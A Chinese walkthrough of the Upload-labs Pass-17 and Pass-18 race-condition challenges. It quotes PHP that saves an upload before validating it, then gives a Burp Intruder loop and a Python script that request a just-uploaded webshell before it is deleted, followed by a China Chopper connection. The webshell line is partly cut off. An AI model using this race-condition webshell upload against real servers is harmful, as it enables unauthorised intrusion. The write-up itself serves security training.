Upload-labs Pass-17 Pass-18 条件竞争

Pass-17 条件竞争1

看下源码,感觉啥漏洞都没,只能查看writeup的提示了,答案是条件竞争
具体的可以看:https://baynk.blog.csdn.net/article/details/102913219

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){	//先保存文件
        if(in_array($file_ext,$ext_arr)){	//判断后缀
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);	//合法改名
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);	//不合法删除
        }
    }else{
        $msg = '上传出错!';
    }
}

其实这个代码都没啥大问题,执行下来都是OK的,但是这里是这样操作的,先通过move_uploaded_file把文件保存了,然后再去判断后缀名是否合法,合法就重命名,如果不合法再删除。重是重点在于,在多线程情况下,就有可能出现还没处理完,我们就访问了原文件,这样就会导致被绕过防护。下面是我随便找的之前的某一关,很明显看到之前代码是先改名,再移动保存。
Upload-labs Pass-17 Pass-18 条件竞争_第1张图片
那这里可以通过burpsuite一直上传shell,然后通过python去进行访问。
将下列语句');?>放到intruder模块内不停的重放。
Upload-labs Pass-17 Pass-18 条件竞争_第2张图片
接着使用python脚本去不停访问test.php,一直到成功为止。

import requests
url = "http://192.168.181.203:8014/upload-labs/upload/test.php"
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("OK")
        break

当出现OK的时候,就可以停止burpsuite了。
Upload-labs Pass-17 Pass-18 条件竞争_第3张图片
然后直接访问upload/shell.php,状态码为200时,代码已经上传成功。Upload-labs Pass-17 Pass-18 条件竞争_第4张图片
直接菜刀连接即可。
Upload-labs Pass-17 Pass-18 条件竞争_第5张图片


Pass-18 条件竞争2

同样也是条件竞争,虽然换了一个方式,但是逻辑没有变,一样也可以条件竞争,就是得上传图片马了。
Upload-labs Pass-17 Pass-18 条件竞争_第6张图片
其实过程和上一把是一样的,直接放个结果图吧,但是由于后缀一定得是jpg之类的,所以大多数情况下都是得配合解析漏洞来完成漏洞利用。
Upload-labs Pass-17 Pass-18 条件竞争_第7张图片

你可能感兴趣的:(#,Upload-labs)